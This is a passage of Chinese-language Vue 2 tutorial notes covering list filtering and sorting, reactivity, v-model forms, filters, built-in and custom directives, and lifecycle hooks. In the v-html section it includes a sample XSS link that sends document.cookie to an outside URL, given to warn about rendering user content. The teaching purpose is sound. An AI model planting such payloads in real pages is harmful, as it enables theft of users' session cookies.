             // console.log(newV)
             //不要修改原来数据,这样只会越写越少
             //某一个字符串.indexOf(想要检测的内容) 结果只要不是-1就代表该字符串包含该内容
             //注意某一个字符串.indexOf('') 结果是0而不是-1(包含空字符串)
             //下面是箭头函数简写形式,用完整的箭头函数要写return
             this.filPersons = this.persons.filter(p => p.name.indexOf(newV) !== -1);
           }
         }
       }
     }) */

    //用计算属性书写功能
    //当computed和watch都可以实现基本功能时优先考虑computed (重要)
    new Vue({
      el: '#root',
      data: {
        keyword: '',
        persons: [
          { id: "001", name: '周冬雨', age: 20, sex: '女' },
          { id: "002", name: '马冬梅', age: 19, sex: '女' },
          { id: "003", name: '周杰伦', age: 21, sex: '男' },
          { id: "004", name: '温兆伦', age: 22, sex: '男' },
        ],
      },
      computed: {
        filPersons() {
          return this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
        }
      }
    })
  </script>
</body>

23.4列表排序

用到了数组sort(p1,p2)方法

<body>
  <div id="root">
    <h2>人员列表</h2>
    <!--v-model双向绑定-->
    <input type="text" placeholder="请输入名字" v-model="keyword" />
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>
    <button @click="sortType = 0">原顺序</button>
    <ul v-for="p in filPersons" :key="p.id">
      <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
    </ul>
  </div>
  <script type="text/javascript">
    new Vue({
      el: '#root',
      data: {
        keyword: '',
        sortType: 0, //0代表原顺序 1代表降序 2代表升序
        persons: [
          { id: "001", name: '周冬雨', age: 20, sex: '女' },
          { id: "002", name: '马冬梅', age: 19, sex: '女' },
          { id: "003", name: '周杰伦', age: 21, sex: '男' },
          { id: "004", name: '温兆伦', age: 22, sex: '男' },
        ],
      },
      computed: {
        filPersons() {
          const arr = this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
          //判断是否需要排序
          if (!this.sortType) return arr;
          //sort(a,b)回调回收到前后两个数据项, a 和 b,a - b升序 b - a降序
          //sort会改变的原数组
          return arr.sort((p1, p2) => this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age);
        }
      }
    });
  </script>
</body>

24.Vue数据监视

24.1Vue检测数据的原理 (对象)

<body>
    <!-- 数据更新时存在的问题 由这个问题引出Vue检测数据的原理 ->
    <div id="root">
        <h2>人员列表</h2>
        <!--v-model双向绑定-->
    <button @click="updateM">更新马冬梅信息</button>
    <ul v-for="p in persons" :key="p.id">
        <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
    </ul>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                persons: [
                    { id: "001", name: '周冬雨', age: 20, sex: '女' },
                    { id: "002", name: '马冬梅', age: 19, sex: '女' },
                    { id: "003", name: '周杰伦', age: 21, sex: '男' },
                    { id: "004", name: '温兆伦', age: 22, sex: '男' },
                ],
            },
            methods: {
                updateM() {
                    // this.persons[1].name = '马老师';  //奏效
                    // this.persons[1].age = 50;      //奏效
                    // this.persons[1].sex = '男'; //奏效
                    // this.persons[1] = { id: '002', name: '马老师', age: 50, sex:'男' }; //这样修改vue是无法监测数据的
                    this.persons.splice(1, 1, { id: '002', name: '马老师', age: 50, sex: '男' }); //有效
                }

            }
        });
    </script>
</body>
<body>
  <!--
      1.data在传入时会先进行加工,加工的目的主要是为了响应式(响应式指的是数据发生变化页面也跟着变化)
      2. 如何监测对象中的数据?
        通过setter实现监视,且要在new Vue时就传入要监测的数据。
            (1).对象中后追加的属性,Vue默认不做响应式处理
            (2).如需给后添加的属性做响应式,请使用如下API:
                  Vue.set(target,propertyName/index,value) 或
                    vm.$set(target,propertyName/index,value)
-->
  <div id="root">
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
  </div>
  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '沈阳师范大学',
        address: '沈阳',
        stu: {
          name: 'tom',
          age: {
            rage: 12,
            sage: 29
          },
          friends: [
            { name: 'test', age: 18, sex: 'male' }
          ]
        }
      }
    })
  </script>
</body>

24.2Vue.set()方法

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>vue.set()的使用</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h1>学校信息</h1>
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <hr />
    <h1>学生信息</h1>
    <button @click.once="addSex">添加一个性别属性,默认值是男</button>
    <h2>学生姓名:{{ stu.name }}</h2>
    <h2>学生真实年龄:{{ stu.age.rage }}</h2>
    <h2>学生对外年龄:{{ stu.age.sage}}</h2>
    <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
    <h2>朋友们</h2>
    <ul v-for="(f, index) in stu.friends" :key="index">
      <li>{{ f.name }} -- {{ f.age }}</li>
    </ul>
  </div>
  <script type="text/javascript">
    const vm = new Vue({
      el: '#root',
      data: {
        name: '沈阳师范大学',
        address: '沈阳',
        stu: {
          name: 'tom',
          age: {
            rage: 12,
            sage: 29
          },
          friends: [
            { name: 'Jerry', age: 23 },
            { name: 'Jane', age: 18 }
          ]
        }
      },
      methods: {
        addSex() {
          //这里this === vm
          //利用vue.set(或者vm.$set())api能够把添加(或修改)的属性变为响应式属性
          //利用 Vue$set(target,key,val).set(或者 vm.$set(...))api能够添加的属性变为响应式属性
          //注意:vm.$set() 不过真正实际函数中要写this.$set(...)
          // target目标 key属性 val值
          //注意对象不能是 Vue 实例(vm,也就是说如果想添加我们要用 this),或者 Vue 实例的根数据(data本身没有任何包裹的数据)对象。
          Vue.set(this.stu, 'sex', '男')
          // this.$set(this.stu, 'sex', '男');
        }
      }
    })
  </script>
</body>

</html>

24.3模拟数据监视原理(数组)

<body>

  <!--
        通过包裹数组更新元素的方法实现,本质就是做了两件事:
			    (1).调用原生对应的方法对数组进行更新。
				  (2).重新解析模板,进而更新页面。
	      在Vue修改数组中的某个元素一定要用如下方法:
			   1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
			   2.Vue.set() 或 vm.$set()
  -->

  <div class="root">
    <h2>我的爱好</h2>
    <button @click="add">点击修改数组</button>
    <ul>
      <li v-for="(item,index) in person.hobby" :key="index">
        {{item}}
      </li>
    </ul>
  </div>
  <script>
    const vm = new Vue({
      el: '.root',
      data() {
        return {
          person: {
            hobby: ['干饭', '动漫', '打游戏']
          }
        }
      },
      methods: {
        add() {
          this.person.hobby.splice(0, 1, 'play')
          this.person.hobby.push('sleep')
          vm.$set(this.person.hobby, 1, 'music')
        }
      },

    })
  </script>
</body>

24.4Vue数据监视总结

<!doctype html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>总结vue数据监视</title>
    <style>
        button {
            margin-bottom: 10px;
        }
    </style>
    <script src="../js/vue.js"></script>

</head>

<body>
    
<!--
	Vue监视数据的原理:
        1. vue会监视data中所有层次的数据。
        2. 如何监测对象中的数据?
        	通过setter实现监视,且要在new Vue时就传入要监测的数据。
                (1).对象中后追加的属性,Vue默认不做响应式处理
                (2).如需给后添加的属性做响应式,请使用如下API:
                    Vue.set(target,propertyName/index,value) 或
                    vm.$set(target,propertyName/index,value)
        3. 如何监测数组中的数据?
            通过包裹数组更新元素的方法实现,本质就是做了两件事:
                (1).调用原生对应的方法对数组进行更新。
                (2).重新解析模板,进而更新页面。
        4.在Vue修改数组中的某个元素一定要用如下方法:
            1.使用这些API:
			  push()、pop()、shift()、unshift()、splice()、sort()、reverse()
            2.Vue.set() 或 vm.$set()

        特别注意sVue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
        注: 数据劫持可以理解成为vue对你写在data的数据会进行加工,让它们都变成响应式的
-->
    
    <div id="root">
        <h1>学生信息</h1>
        <button @click="student.age++">年龄+1岁</button>
        <br />
        <button @click="addSex">添加性别属性,默认值:男</button>
        <br />
        <button @click="student.sex = '未知' ">修改性别</button>
        <br />
        <button @click="addFriend">在列表首位添加一个朋友</button>
        <br />
        <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button>
        <br />
        <button @click="addHobby">添加一个爱好</button>
        <br />
        <button @click="updateHobby">修改第一个爱好为:开车</button>
        <br />
        <button @click="removeSmoke">过滤掉爱好中的抽烟</button>
        <br />
        <h3>姓名:{{student.name}}</h3>
        <h3>年龄:{{student.age}}</h3>
        <h3 v-if="student.sex">性别:{{student.sex}}</h3>
        <h3>爱好:</h3>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">
                {{h}}
            </li>
        </ul>
        <h3>朋友们:</h3>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">
                {{f.name}}--{{f.age}}
            </li>
        </ul>

    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        const vm = new Vue({
            el: '#root',
            data: {
                student: {
                    name: 'tom',
                    age: 18,
                    hobby: ['抽烟', '喝酒', '烫头'],
                    friends: [
                        { name: 'jerry', age: 35 },
                        { name: 'tony', age: 36 }
                    ]
                }
            },
            methods: {
                addSex() {
                    this.$set(this.student, 'sex', '男');
                },
                addFriend() {
                    this.student.friends.unshift({
                        name: 'jack',
                        age: 70,
                    })
                },
                updateFirstFriendName() {
                    this.student.friends[0].name = '张三'
                },
                addHobby() {
                    this.student.hobby.push('学习');
                },
                updateHobby() {
                    // this.student.hobby.splice(0,1,'开车');
                    this.$set(this.student.hobby, 0, '开车');
                },
                removeSmoke() {
                    //直接替换
                    this.student.hobby = this.student.hobby.filter(h => h !== '抽烟');
                }
            }
        });
    </script>
</body>

</html>

25.收集表单数据

主要是讲 v-model

<!doctype html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport"
  content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>vue中表单数据的收集</title>
<script src="../js/vue.js"></script>
</head>

<body>
<div id="root">
<!--
   收集表单数据:
      若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
      若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
      若:<input type="checkbox"/>泽有两种情况:
           1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
           2.配置input的value属性:
              (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
              (2)v-model的初始值是数组,那么收集的的就是value组成的数组
   备注:v-model的三个修饰符:
          1.lazy:失去焦点再收集数据
          2.number:输入字符串转为有效的数字
          3.trim:输入的内容会自动过滤首尾空格
-->
  <form @submit.prevent="demo">
      <!--写了label则点击,它也能使指定的input获取焦点 for属性的值为指定元素的id-->
      <label for="demo">账号:</label>
      <!--v-model主要用来双向绑定输入类表单的value值-->
      <input type="text" id="demo" v-model.trim="userInfo.account" />
      <br />
      密码: <input type="password" v-model="userInfo.password" />
      <br />
      性别:
      <!--一组radio单选框的name值一定要相同 设置value值好让v-model去双向绑定-->
      男:<input type="radio" v-model="userInfo.sex" name="sex" value="male" />
      女:<input type="radio" v-model="userInfo.sex" name="sex" value="female" />
      <br />
       <!-- v-model.number收集的内容一定是数字型 -->
      年龄: <input type="number" v-model.number="userInfo.age" />
      <br />
      爱好:
      <!--如果没有value值则v-model收集checked元素-->
      学习 <input v-model="userInfo.hobby" type="checkbox" value="study" />
      打游戏 <input v-model="userInfo.hobby" type="checkbox" value="game" />
      吃饭 <input v-model="userInfo.hobby" type="checkbox" value="eat" />
      <br />
      所属校区
      <select v-model="userInfo.city">
          <option value="">请选择校区</option>
          <option value="Beijing">北京</option>
          <option value="Shanghai">上海</option>
          <option value="Shenzhen">深圳</option>
          <option value="Wuhan">武汉</option>
      </select>
      <br />
      其他信息<textarea v-model.lazy="userInfo.other"></textarea>
      <br />
      <input type="checkbox" v-model="userInfo.ifAgree" />阅读并接受<a href="https://www.google.com">《用户协议》</a>
      <button :disabled="!userInfo.ifAgree">提交数据</button>
  </form>
</div>
<script type="text/javascript">
  Vue.config.productionTip = false;
  const vm = new Vue({
      el: '#root',
      data: {
          userInfo: {
              account: '',
              password: '',
              sex: 'male',
              age: '',
              hobby: [],
              city: '',
              other: '',
              ifAgree: false
          }
      },
      methods: {
          demo() {
              //json转换为string
              console.log(JSON.stringify(this.userInfo));
          },
      }
  })
</script>
</body>

</html>

26.过滤器

他不是一个必须要用的东西。

<!doctype html>
<html lang="en">

<head>
 <meta charset="UTF-8">
 <meta name="viewport"
     content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
 <meta http-equiv="X-UA-Compatible" content="ie=edge">
 <title>vue中过滤器</title>
 <script src="../js/vue.js"></script>
 <!--引入day.js 说明:day.js文件是在BootCDN网站上下载的 这里我用的在线建议下载下来-->
 <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.10.6/dayjs.min.js"></script>
</head>

<body>
 <div id="root">
<!--
     过滤器:
        定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
        语法:
             1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
             2.使用过滤器:{{xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
        备注:
             1.过滤器也可以接收额外参数、多个过滤器也可以串联
             2.并没有改变原本的数据, 是产生新的对应的数据
-->
     <h1>显示格式化后的时间</h1>
     <!--计算属性实现-->
     <h2>现在是:{{ fmtTime }}</h2>
     <!--methods实现-->
     <h2>现在是{{ getFmtTime() }}</h2>
     <!--过滤器实现-->
     <h2>现在是:{{ time | timeFormater }}</h2>
     <!--过滤器也可以传递参数-->
     <h2>现在是:{{ time | timeFormater('YYYY-MM-DD') | mySlice }}</h2>
      <!--用的少-->
     <h3 :x="msg | mySlice">你好,世界</h3>
 </div>
 <div id="root2">
     <h2>{{ msg | mySlice }}</h2>
 </div>
 <script type="text/javascript">
     Vue.config.productionTip = false;
     //全局过滤器的配置
     //注意配置一定要在new vue实例之前确定
     Vue.filter('mySlice', function (val) {
         return val.slice(0, 4);
     });
     new Vue({
         el: "#root",
         data: {
             time: 1631808423062, // 时间戳
             msg: "你好,世界"
         },
         computed: {
             fmtTime() {
                 return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
             }
         },
         methods: {
             getFmtTime() {
                 //format是dayjs下的方法
                 return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
             }
         },
         //局部过滤器
         filters: {
             //过滤器本质上也是一个函数
             timeFormater(val, formate = 'YYYY-MM-DD HH:mm:ss') {
                 return dayjs(val).format(formate)
             },
         }
     });

     const vm2 = new Vue({
         el: "#root2",
         data: {
             msg: 'welcome'
         }
     })
 </script>
</body>

</html>

27.内置指令

27.1v-text

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>v-text指令</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <!--
   我们学过的指令:
        v-bind	: 单向绑定解析表达式, 可简写为 :xxx
        v-model	: 双向数据绑定
        v-for  	: 遍历数组/对象/字符串
        v-on   	: 绑定事件监听, 可简写为@
        v-if 	 	: 条件渲染(动态控制节点是否存存在)
        v-else 	: 条件渲染(动态控制节点是否存存在)
        v-show 	: 条件渲染 (动态控制节点是否展示)
   v-text指令:
        1.作用:向其所在的节点中渲染文本内容。 (纯文本渲染)
        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
		注:v-text与插值语法相比有点不太灵活。
-->

  <div id="root">
    {{name}}
    <div v-text="name"></div>
    <div v-text="str"></div>
  </div>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
      el: '#root',
      data: {
        name: '上海',
        //注意v-text不会解析标签,而是直接将标签当纯文本解析
        str: '<h1>hello, shanghai</h1>'
      }
    })
  </script>
</body>

</html>

27.2v-html

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>v-html指令</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
<!--
    v-html指令:
        1.作用:向指定节点中渲染包含html结构的内容。
        2.与插值语法的区别:
            (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
            (2).v-html可以识别html结构。
        3.严重注意:v-html有安全性问题!!!!
            (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
            (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
-->
    <div v-text="name"></div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
  </div>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
      el: "#root",
      data: {
        name: '上海',
        //注意v-html会解析标签,这点与v-text不一样
        str: '<h1>hello, shanghai</h1>',
        //危险行为 永远不要相信用户的输入
        str2: '<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'
      }
    })
  </script>
</body>

</html>

27.3v-cloak

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>v-cloak指令</title>
  <style>
    [v-cloak] {
      display: none;
    }
  </style>
  <!-- 引入Vue -->
</head>

<body>
 <!--
        v-cloak指令(没有值):
                1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
                2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
-->
  <!-- 准备好一个容器-->
  <div id="root">
    <h2 v-cloak>{{name}}</h2>
  </div>
  <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>

<script type="text/javascript">
  console.log(1)
  Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

  new Vue({
    el: '#root',
    data: {
      name: '尚硅谷'
    }
  })
</script>

</html>

27.4v-once

<!doctype html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>v-once指令</title>
    <script src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
<!--
            v-once指令(没有值):
            1.v-once所在节点在初次动态渲染后,就视为静态内容了。
            2.初次完成之后,数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
-->
        <h2 v-once>初始化n的值为:{{ n }}</h2>
        <h2>当前的n值为:{{ n }}</h2>
        <button @click="n++">带我n+1</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        new Vue({
            el: "#root",
            data: {
                n: 1
            }
        })
    </script>
</body>

</html>

27.5v-pre

<!doctype html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>v-pre指令</title>
    <script src="../js/vue.js"></script>
</head>

<body>
    <div id="root">
<!--
        v-pre指令(没有值):
            1.跳过其所在节点的编译过程。
            2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
-->
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前的n值为:{{ n }}</h2>
        <button @click="n++">带我n+1</button>
    </div>
    <script type="text/javascript">
        Vue.config.productionTip = false;
        new Vue({
            el: "#root",
            data: {
                n: 1
            }
        })
    </script>
</body>

</html>

28.自定义指令

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>自定义指令</title>
  <script src="../js/vue.js"></script>
</head>

<body>

<!--
      需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
      需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
      自定义指令总结:
         一、定义语法:
            (1).局部指令:
                new Vue({directives:{指令名:配置对象} }) 或 
                new Vue({directives: {指令名:回调函数}})
            (2).全局指令:
            Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
		 二、配置对象中常用的3个回调:
            (1).bind:指令与元素成功绑定时调用。
            (2).inserted:指令所在元素被插入页面时调用。
            (3).update:指令所在模板结构被重新解析时调用。
		 三、备注:
            1.指令定义时不加v-,但使用时要加v-;
            2.自定义指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
-->

  <!--下面的这是模版,要经过vue的解析才能放到页面中,dom树里-->
  <div id="root">
    <h2>当前的n值是:<span v-text="n"></span></h2>
    <!-- <h2>放大10倍后的n值是: <span v-big-number="n"></span></h2> -->
    <h2>放大10倍后的n值是: <span v-big="n"></span></h2>
    <button @click="n++">点我n+1</button>
    <p>测试指令函数所调用的时机: {{name}} </p>
    <hr />
    <input type="text" v-fbind:value="n" />
  </div>

  <script type="text/javascript">
    Vue.config.productionTip = false;
    //此时自定义fbind指令使全局指令了,其他vue实例所管理的容器也可以使用
    //全局指令
    Vue.directive('fbind', {
      bind(el, binding) {
        // console.log('bind')
        el.value = binding.value;
      },
      //指令被插入页面时
      inserted(el, binding) {
        // console.log('inserted')
        el.focus();
      },
      //指令所在模版被重新解析时
      update(el, binding) {
        // console.log('update');
        el.value = binding.value;
      }
    })
    /*  Vue.directive('big', function (element, binding) {
       console.log(this) //this 指向window,不要使用箭头函数
       element.innerText = binding.value * 10;
     }) */

    const vm = new Vue({
      el: "#root",
      data: {
        name: '上海',
        n: 1
      },
      //定义指令的配置项: directives
      directives: {

        //  big函数的调用时机:
        //  1.指令与元素成功绑定时会被调用(一上来)
        // 注意:注意此时dom元素还没有成功的放到页面上去
        //  2.指令所在的模版被重新解析时会被再次调用

        //两种写法:1.对象(key-value) 2.函数
        /* 'big-number'(el, binding) {
          	console.log('big被调用啦!')
          // console.log(el,binding);
          el.innerText = binding.value * 10;
        }, */
        big(el, binding) {
          // 注意此处this===window 
          // vue实例对象此时'不管'你写在指令里面的函数了
          console.log(this);
          console.log('big被调用啦!')
          // 收到两个参数
          // 第一个参数代表真实dom元素
          // 第二个参数是绑定对象,关注该绑定对象中的 value属性
          // console.log(el,binding);
          //原生dom的操作
          el.innerText = binding.value * 10;
        },
        //自定义fbind绑定
        //换成对象写法 对比函数简写方式其实只是多了 inserted钩子
        /* fbind:{
            //指令与元素成功绑定
            // bind(el, binding){
            //     // console.log('bind')
            //     el.value = binding.value;
            // },
            // //指令被插入页面时
            // inserted(el, binding){
            //     // console.log('inserted')
            //     el.focus();
            // },
            // //指令所在模版被重新解析时
            // update(el, binding){
            //     // console.log('update');
            //     el.value = binding.value;
            // }
        } */
      }
    });
  </script>
</body>

</html>
<!doctype html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>回顾dom操作</title>
    <style>
        .demo {
            background: orange;
        }
    </style>
</head>

<body>
    <button id="btn">
        点我创建一个输入框
    </button>
    <script type="text/javascript">

        const btn = document.querySelector('#btn');
        btn.onclick = () => {
            const input = document.createElement('input');
            input.className = 'demo';
            input.value = "99";
            input.onclick = () => alert('你好,世界');

            console.log(input.parentElement); //此时它的parentElement属性是null,无法获取,因为它并不在dom树中

            //将该input插入到dom树中
            document.body.appendChild(input);
            //input出现的时候,让其自动获取焦点
            //注意一定要在input框被放到dom树中再运行focus函数,否则它将无法自动获取焦点
            //一定要放在dom树中
            input.focus();
            input.parentElement.style.backgroundColor = 'skyblue';
        }
    </script>
</body>

</html>

29.生命周期

29.1引出生命周期

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>生命周期函数(钩子)</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
<!--
    生命周期:
    1.生命周期又名:生命周期回调函数、生命周期函数、生命周期钩子。
    2.生命周期是什么:Vue在关键时刻帮我们调用的一些【特殊名称的函数】。简单理解生命周期是函数。
    3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
    4.生命周期函数中的this指向是vm 或 组件实例对象。
-->
    <h1 v-if="a">你好啊</h1>
    <!--v-bind绑定-->
    <!-- 只要重名就可以简写为一个单词 -->
    <h1 :style="{opacity}">欢迎学习vue</h1>
  </div>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        opacity: 1,
        a: true
      },
      // 写在methods中不能实现我们想要的效果
      // methods: {},

      //mounted 挂载(放) 和 methods同级
      //vue完成模版的解析并把初始的真实的 dom元素挂载完毕就调用 mounted函数
      //只调用一次(再调用那叫更新)
      mounted() {
        //关键性时刻调用对应的函数 生命周期
        console.log('mounted');
        const timer = setInterval(() => {
          //箭头函数没有this会从外部作用域寻找 
          //mounted是由vue管理的函数,所以该函数中的this是vm(vue实例对象)
          this.opacity -= 0.01;
          // 在js中它不擅长玩小数,所以要小于等于0
          if (this.opacity <= 0) this.opacity = 1;
        }, 16);
      }
    });

    //通过外部的定时器实现,不推荐
    // setInterval(() => {
    //     vm.opacity -= 0.01;
    //     if( vm.opacity <= 0) vm.opacity = 1;
    // }, 16);
  </script>
</body>

</html>

29.2分析生命周期

在这里插入图片描述

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>分析vue中生命周期</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <div id="root" :x="n">
    <h1>当前的n值是{{ n }}</h1>
    <h1 v-text="n"></h1>
    <button @click="add">点我+1</button>
    <button @click="bye">点我销毁vm</button>
  </div>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
      el: "#root",
      //template模版字符串只能有一个根结点
      // template:`
      //     <div>
      //       <h1>当前的n值是{{n}}</h1>
      //       <button @click="add">点我+1</button>
      //     </div>
      // `,
      //注意template是不能作为根标签来使用的,不能去骗vue,可以用fragment(vue3新加,模仿react)
      // 就是最外层不可以用template标签包裹,要用div标签包裹
      data: {
        n: 1
      },
      methods: {
        add() {
          console.log('add')
          this.n++;
        },
        bye() {
          //实例销毁后调用。该钩子被调用后,对应 Vue 实例的所有指令都被解绑,所有的(自定义)事件监听器被移除,所有的子实例也都被销毁。
          console.log('bye');
          this.$destroy();
        }
      },
      watch: {
        n() {
          console.log('n变了');
        }
      },
      // 第一个生命周期函数
      beforeCreate() {
        console.log('beforeCreate');
        // console.log(this);
        // debugger; //作用:卡一个断点(用来调试)

      },
      created() {
        console.log('created');
        // console.log(this);
      },
      beforeMount() {
        console.log('beforeMount');
        // console.log(this);
      },
      mounted() {
        console.log('mounted');
        console.log(this);
        // document.querySelector('h1').innerText = '哈哈';
      },
      beforeUpdate() {
        console.log('beforeUpdate');
        //console.log(this.n); //此时数据是新的,页面还是旧的,vue还没根据新的数据去生成新的虚拟dom,去比较旧的虚拟dom
      },
      updated() {
        console.log('updated');
        console.log(this.n); //此时数据是新的,页面也是新的,同步
      },
      beforeDestroy() {
        //仍然可以使用data,methods,关闭定时器,取消订阅消息,解绑自定义事件等收尾工作,移除watchers
        console.log('beforeDestroy');
        console.log(this.n);
        // this.add(); //记住一旦到了beforeDestroy或者destroyed钩子,即使你拿到新的数据它也不会更新了(beforeUpdate,updated)
      },
      //destroyed钩子几乎不用
      destroyed() {
        console.log('destroyed');
      }
      //本节将了8个生命周期钩子,一共11个。剩下的三个是在路由部分介绍
    });


  </script>
</body>

</html>

29.3生命周期总结

<!doctype html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport"
    content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>生命周期函数(钩子)总结</title>
  <script src="../js/vue.js"></script>
</head>

<body>
  <div id="root">
    <!--
			常用的生命周期钩子:
				1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
				2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

			关于销毁Vue实例:
				1.销毁后借助Vue开发者工具看不到任何信息。
				2.销毁后自定义事件会失效,但原生DOM事件依然有效。(click之类的原生事件依然会被调用)
			  3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
	-->
    <!--v-bind绑定-->
    <h1 :style="{opacity}">欢迎学习vue</h1>
    <button @click="stop">停止变换</button>
    <button @click="opacity = 1">透明度设置为1</button>
  </div>
  <script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        opacity: 1,
      },
      methods: {
        stop() {
          //只是清除了定时器,响应式仍然存在
          // clearInterval(this.timer);
          //暴力杀
          this.$destroy();
        }
      },
      mounted() {
        //关键性时刻调用对应的函数 生命周期
        console.log('mounted');
        this.timer = setInterval(() => {
          console.log('inter')
          this.opacity -= 0.01;
